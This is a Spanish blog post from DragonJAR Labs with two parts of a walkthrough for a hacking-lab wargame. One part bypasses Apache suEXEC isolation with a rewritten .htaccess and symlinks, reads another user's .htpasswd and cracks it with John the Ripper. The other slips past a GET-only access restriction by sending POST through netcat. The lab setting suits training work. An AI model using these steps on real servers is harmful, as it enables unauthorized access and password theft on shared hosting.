Labs DragonJAR » .htaccess

Solución del HackTaller 01 DragonJAR (VI de VIII)

4v4t4r — Mon, 01 Sep 2008 19:53:52 +0000

Continuamos con la quinta entrega de la solución del HackTaller 01 de la Comunidad DragonJAR en formato de video.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 5 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org).

Herramientas necesarias:

BackTrack, Shell PHP (en nuestro caso, C99), John The Ripper,

Palabras claves (Documentos de interés, Definiciones):

Servidor Web – Apache – .HTACCESS – Comandos habituales en Linux – PHP – Vulnerabilidades – Shell, Shell PHP, Null Byte Injection

El nivel 5 es quizá uno de los momentos menos concretos de todos los que se pueden presentar. Ahora hemos conseguido ser usuarios locales del sistema, podemos ejecutar comandos, leer directorios, ver configuraciones, y podemos, en definitiva, explorar muchísimas posibilidades.

Sin embargo, hay que matizar algo importante, que puede servir para ahorrarnos muchas horas de trabajo inútil: si nos encontramos en un sistema actualizado, sin fallos de seguridad en el kernel y en otros servicios administrativos, es muy difícil, a menos que el administrador haya configurado algo de forma errónea, escalar privilegios directamente, hacia un usuario administrativo. ¿Qué podemos hacer entonces en estas situaciones?

Nuestro objetivo, en estos casos en los que ser “root” o “Administrador” no parece ser inmediato, será extraer la mayor cantidad de información del sistema, obtener el mayor número de cuentas de usuario posibles, etc.

¿Cómo conseguir eso?

Primeramente, en los sistemas que tengan servicios web, nos centraremos en estos, ¿por qué?. Básicamente porque el aislamiento entre usuarios web, es quizá no complicado, pero sí tedioso. Es fácil encontrar escenarios en los que directamente podamos acceder a los directorios de otros usuarios en la web, y leer sus ficheros, porque todas estas carpetas pueden ser leídas por el usuario que ejecuta el servidor web ( apache, httpd, etc ). En otros escenarios los usuarios web estarán aislados usando cgi-wrappers. Y únicamente, en los entornos más avanzados y seguros, cada usuario web poseerá una máquina virtual o un vps, en la que sólo existirá él. En caso de no existir escenario web, otros escenarios posibles son por este orden: ficheros de configuración, ficheros temporales, ficheros de logs y permisos inseguros.

En este escenario que nos ocupa, relativamente común en un entorno de seguridad medio con árbol web (incluso muy común en granjas de servidores web), vamos a ver cómo se puede proceder. Lo primero, saber quiénes son los usuarios.

blindware:x:500:500::/var/www/blindware:/bin/bash
intranet:x:501:501::/var/www/intranet:/bin/bash
developer:x:502:502::/home/developer:/bin/bash

El sistema parece tener 3 usuarios. 2 de ellos, usuarios web, uno de los cuales es el usuario con el que podemos ejecutar comandos, y otro es el usuario “intranet”.

Podemos probar a acceder al directorio del usuario intranet (/var/www/intranet), pero rápidamente nos daremos cuenta, que poco podemos hacer, pues nos deniega el acceso. Incluso si intentamos leer /var/www, obtendremos resultado parecido, puesto que sus permisos son los siguientes:

d–x–x–x 8 root root 4096 May 12 13:52 www

Ésta situación es bastante común, sin embargo, hay un fichero en el sistema que nos será siempre de gran utilidad, y es la configuración del propio Apache, la cual habitualmente se encuentra desprotegida (en este caso dentro de /etc/httpd/httpd.conf).

ServerAdmin blindware@blindware.inc
DocumentRoot /var/www/blindware/htdocs
ServerName www.blindware.inc
SuexecUserGroup blindware blindware

Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All

ServerAdmin intranet@blindware.inc
DocumentRoot /var/www/intranet/htdocs
ServerName intranet.blindware.inc
SuexecUserGroup intranet intranet

Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All

De esta configuración, lo primero que extraemos, es que los hosts están aislados mediante Apache suEXEC, lo cual hace que PHP esté configurado para ejecución en modo CGI, en vez de cómo módulo de Apache, y por ello antes necesitábamos permisos de ejecución en los ficheros PHP. Tal y como comentamos con anterioridad, no es recomendable ir reinventando la rueda a cada paso, por ello, la pregunta que nos tenemos que hacer en este punto es: ¿existe algún procedimiento público y documentado que permita sobrepasar los mecanismos de aislamiento de hosts basados en Apache suEXEC?.

Existe, únicamente tenemos que buscar en Google: “apache suexec“, “apache suexec bypass“, o similares y encontraremos un documento denominado “Apache suEXEC Bypass” en el cual se nos detalla de forma bastante extensa los problemas de configuración asociados a éste sistema.

A grandes rasgos, nosotros vamos a sacar lo más interesante del documento, para hacernos una idea de cómo podemos proceder para leer ficheros dentro del directorio web del usuario intranet.

1. Los diferentes hosts virtuales de Apache, mediante suEXEC, lo que consiguen es que cada host ejecute comandos CGI, bajo un usuario diferente. De esta forma, por ejemplo, nosotros ejecutamos comandos con “blindware”, mientras que el vhost intranet, ejecuta comandos con el usuario “intranet”.

2. Esto permite un esquema de aislamiento “relativamente” sencillo.

drwxr-x— 3 blindware apache 4096 nov 25 17:00 blindware
drwxr-x— 3 intranet apache 4096 nov 25 17:00 intranet

Si nos damos cuenta, cada usuario es propietario de su directorio, y ningún otro usuario puede acceder a ellos, a excepción del usuario apache, con el que se ejecuta el servicio web. Esto “garantiza”, que aunque el usuario ejecute comandos en el sistema, ningún usuario podrá acceder al directorio de otro usuario.

3. Esta idea, cuenta con un fallo: el enlace simbólico. Los enlaces simbólicos se pueden establecer sobre ficheros en los que no tenemos permisos. Dicho de otra forma, nosotros como usuario “blindware”, podemos enlazar cualquier fichero del usuario “intranet”, del que conozcamos su existencia.

4. Una vez enlazado el fichero, podremos usar Apache, para leer el enlace simbólico, de esta forma, el enlace simbólico será leido con los permisos de Apache, usuario Apache, y podremos acceder a aquellos directorios a los que Apache tenga acceso, que comúnmente son todos los del árbol web, puesto que debe poder leerlos.

5. Para que el ataque tenga éxito Apache, es así por defecto, debe estar activa la opción FollowSymLinks en Apache. Por el contrario, si la opción que se encuentra activa es SymLinksIfOwnerMatch, el ataque no se podrá realizar, puesto que Apache, únicamente seguirá enlaces que apunten a ficheros propiedad del dueño del enlace.

6. En caso de estar activa la directiva SymLinksIfOwnerMatch, podrá ser modificada por un usuario mediante un fichero .htaccess, siempre que las opciones AllowOverride Options, o AllowOverride All, estén habilitadas.

A priori, parece que nos encontramos en un escenario vulnerable: se usa suEXEC, y aunque se encuentra habilitada la opción SymLinksIfOwnerMatch, también está habilitada la cláusula AllowOverride All. Por tanto, es cuestión de proceder, a través de nuestra shell en PHP según lo que vamos a describir a continuación. Un detalle importante, cuando queramos ejecutar contenido en nuestra shell PHP, cualquier instrucción que incluya caracteres mínimamente extraños, debemos hace uso de URLEncode.

1. Lo primero que queremos hacer es escribir un fichero .htaccess que nos permita aprovecharnos de esta vulnerabilidad. La orden bien pudiera ser esta.

echo “Options -SymLinksIfOwnerMatch +FollowSymLinks” > .htaccess

Pero como sabemos, debe ser URLEncodeada, quedando una cadena, para su ejecución en nuestra shell, como la siguiente:

echo+%22Options+-SymLinksIfOwnerMatch+%2BFollowSymLinks%22+%3E+.htaccess

2. Ahora es cuestión de crear un enlace simbólico, sobre algún contenido que nos interese leer del directorio “intranet”. En este caso, lo más interesante es leer el fichero .htaccess de ese directorio, del que nos garantizamos su existencia, y que además nos impide el acceso al contenido web de http://intranet.blindware.inc.
Creamos pues el enlace simbólico:

ln –s /var/www/intranet/htdocs/.htaccess htaccess

De esta forma, tenemos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htacccess, que una vez visitado nos dará el contenido del fichero:

Options +Indexes
AuthName “Blindware – Intranet Protected”
AuthType Basic
AuthUserFile /var/www/intranet/htdocs/.htpasswd
require valid-user

3. Repetimos el proceso, una vez que conocemos la localización del fichero .htpasswd. Para ello creamos otro enlace simbólico:

ln -s /var/www/intranet/htdocs/.htpasswd htpasswd

De esta forma, creamos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htpasswd, que una vez visitado nos dará el contenido del fichero.

admin:tCPJIYCZjtqF6

4. Tenemos el usuario, y el hash del acceso a intranet.blindware.inc, podemos bien intentar crackearlo, bien seguir intentando la lectura de ficheros contenidos en ese directorio. A priori es un hash DES tradicional, con lo cual podemos intentar romperlo, a ver qué sucede.

Para romper el hash, hacemos uso de la herramienta “john the ripper”, que es con diferencia el crackeador de passwords más conocido de Unix.

$ john htpasswd
guesses: 1 time: 0:00:00:10 (3) c/s: 335628 trying: 132449 – 132498
Loaded 1 password hash (Traditional DES [64/64 BS MMX])
132456 (admin)

Pues ya conocemos el password: 132456 con usuario admin. Lo que nos permite acceder a intranet.blindware.inc y seguir avanzando en la resolución de Sauron. Dentro de 15 días, continuaremos con el siguiente nivel.

Solución del HackTaller 01 DragonJAR (III de VIII)

4v4t4r — Wed, 13 Aug 2008 18:38:36 +0000

Continuamos con la tercera entrega de la solución del HackTaller 01 de la Comunidad DragonJAR en formato de video.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 2 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org)

Herramientas necesarias:

NetCat

Palabras claves (Documentos de interés, Definiciones):

NetCat – Servidor Web – Apache – PHP – Vulnerabilidades – Tamper Data – Proxy – Paros Proxy – Perl – .HTACCESS – Peticiones

Lo primero que corresponde es analizar el comportamiento de un acceso a dicho directorio bajo unos cuantos supuestos. Cada cual lo puede hacer como más le guste, desde Mozilla con Tamper Data, con un proxy intermedio como Paros, o directamente con un nc desde la línea de comandos, aquí usaremos esta última.

> nc www.blindware.inc 80
GET /data/stats HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/index.html HTTP/1.0

> nc www.blindware.inc 80
GET /data/stats/ficherocualquiera HTTP/1.0

Primera Idea: De esta primera prueba nos debemos percatar que incluso con ficheros aleatorios, cuya probabilidad de existir en esa ruta es prácticamente 0%, nos sigue dando la misma respuesta, por tanto podemos deducir que existe un control de acceso a ese directorio por parte del propio Apache, que fuerza una redirección a la URL: http://www.blindware.inc/data/error-stats.html, o dicho de otra forma, que solicitemos el fichero que solicitemos Apache nos va a mostrar la pagina de error-stats.html

Visto esto, veámos que información da el “error-stats.html”:

Access to “/var/www/blindware/htdocs/data/stats/” Forbidden
Your access isn’t allowed to this path
HTTP METHOD RESTRICTED TO 127.0.0.1

Esta web nos devuelve una información relevante sobre una denegación de acceso a la que somos redirigidos siempre, por tanto, y como consejo general a menos que estemos muy familiarizados con Apache, lo que haremos será documentar qué motivos pueden llevar a Apache a generar un mensaje de este tipo. Para ello bien nos puede servir buscar en Google: Access Forbidden Apache. Leyendo por encima los enlaces que aparecen, encontraremos como información relevante que es un error de Apache numerado con el número 403 y que se produce bajo ciertas circunstancias:

Solicitar un directorio que no contiene índice ( index.html ) cuando la opción INDEXES está desactivada.
Solicitar un directorio que tiene denegado el acceso bajo todas o alguna circunstancia.

Así mismo, vemos que mediante ficheros “.htaccess” o en la propia configuración de Apache, podemos configurar una directiva denominada ErrorDocument 403 que nos redirige a una página web concreta en caso de que se produzca un error 403. Es evidente, que en nuestro escenario no estamos solicitando un directorio que no contiene índice, sino que ante cualquier fichero que solicitemos, nos produce este resultado, por tanto, a priori, nos encontraremos en el caso en el que el directorio tiene denegado el acceso y se ha asociado una cláusula ErrorDocument a él.

Intentemos emular por tanto el escenario, y para ello qué mejor que dirigirse al howto para control de accesos que dispone Apache y ver qué habría que introducir en su configuración para obtener un comportamiento como el que vemos en este servidor. En esta web encontraremos algún que otro ejemplo, pero uno interesante por encima del resto:

Order deny,allow
Deny from all
Allow from W.X.Y.Z

Segunda Idea: de lo anterior podemos inducir que bien una cláusula bien un fichero .htaccess dentro del directorio data/stats están limitando el acceso. Y que su estructura será parecida a la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html
Order deny,allow
Deny from all
Allow from 127.0.0.1

La primera línea es la que marca la redirección al fichero “error-stats.html” en caso de que se produzca un acceso no autorizado. Así mismo, la cláusula “Deny from all” deniega el acceso a todos los usuarios menos a los autorizados por una cláusula “Allow” que en este caso serán los provenientes de 127.0.0.1 (localhost).

Con esto hemos replicado el comportamiento del escenario del nivel, ¿qué podemos hacer ahora?. Siempre tenemos 2 opciones una vez hemos conseguido conocer la estructura y replicarla bajo nuestro total control: buscar una vulnerabilidad pública o descubrirla por nosotros mismos. Desde aquí recomendamos encarecidamente el no reinventar la rueda: las listas públicas de vulnerabilidades existen para algo y es para ser usadas. Es cierto, que no siempre las vulnerabilidades existentes, y los exploits desarrollados para ellas se adaptarán 100% a nuestras necesidades, pero con diferencia nos ahorrarán mucho trabajo. Por ello, para sobrepasar esta medida de protección recomendamos buscar en Google etiquetas como las siguientes: apache access bypass, htaccess bypass, o apache access weakness.

Estas búsquedas nos devolverán un importante número de referencias a vulnerabilidades públicas en el control de accesos por parte de Apache (R1, R2).

De la lectura de estas fuentes, podemos suponer que es posbile que exista una vulnerabilidad de configuración en el escenario propuesto para la segunda idea. ¿Cuál sería esta vulnerabilidad? Por ejemplo, una configuración como la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html

Order deny,allow
Deny from all
Allow from 127.0.0.1

Para verificarlo volvemos a hacer uso de nc desde la línea de comandos.

> nc www.blindware.inc 80
OPTIONS /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:29:51 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

> nc www.blindware.inc 80
TRACE /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:30:19 GMT
Server: Apache/2.2.4 (Fedora)
Connection: close
Content-Type: message/http

TRACE /data/stats/ HTTP/1.0

> nc www.blindware.inc 80
PUT /data/stats/ HTTP/1.0

HTTP/1.1 405 Method Not Allowed
Date: Tue, 17 Jul 2007 12:30:49 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 324
Connection: close
Content-Type: text/html; charset=iso-8859-1

Efectivamente, existe una configuración incorrecta. Con sólo leer las respuestas del servidor vemos cómo únicamente es filtrado el método GET, mientras que por el contrario el método OPTIONS, TRACE o PUT son correctamente procesados por Apache. ¿Cómo se puede explotar esto?.

La explotación de este fallo de seguridad depende del fichero sobre el que hagamos la petición, en caso de ser un fichero procesable por un módulo de Apache, como puede ser PHP, PERL, etc, la explotación es mucho más sencilla porque los metodos OPTIONS o PUT devolverán exactamente lo mismo que un método GET en la inmensa mayoría de las ocasiones. Sin embargo, si el fichero lo procesa directamente Apache, como es el caso de los ficheros HTML con contenido estático, el único método diferente a GET que tiene el mismo resultado es POST. Por tanto, y dado que en este caso parece que lo que estamos buscando es el fichero “index.html” debemos hacer uso del método POST.

> nc www.blindware.inc 80
POST /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:31:57 GMT
Server: Apache/2.2.4 (Fedora)
Last-Modified: Tue, 08 May 2007 20:46:48 GMT
ETag: “a8023-4eed-8431de00?
Accept-Ranges: bytes
Content-Length: 20205
Connection: close
Content-Type: text/html; charset=UTF-8

Web Server Statistics for Blindware Inc.

Server Statistics for Blindware Inc.(..)

Efectivamente, nos devuelve el fichero index.html de forma correcta, por tanto podemos salvarlo a un fichero y leerlo localmente con cualquier navegador, viendo entre otros los siguientes datos:

Directory Report

This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

/web/
[root directory]
/data/
/icons/
/_controlp/

En la sección destinada a directorios accedidos encontramos un directorio en el que no habíamos reparado y de nombre “_controlp/”.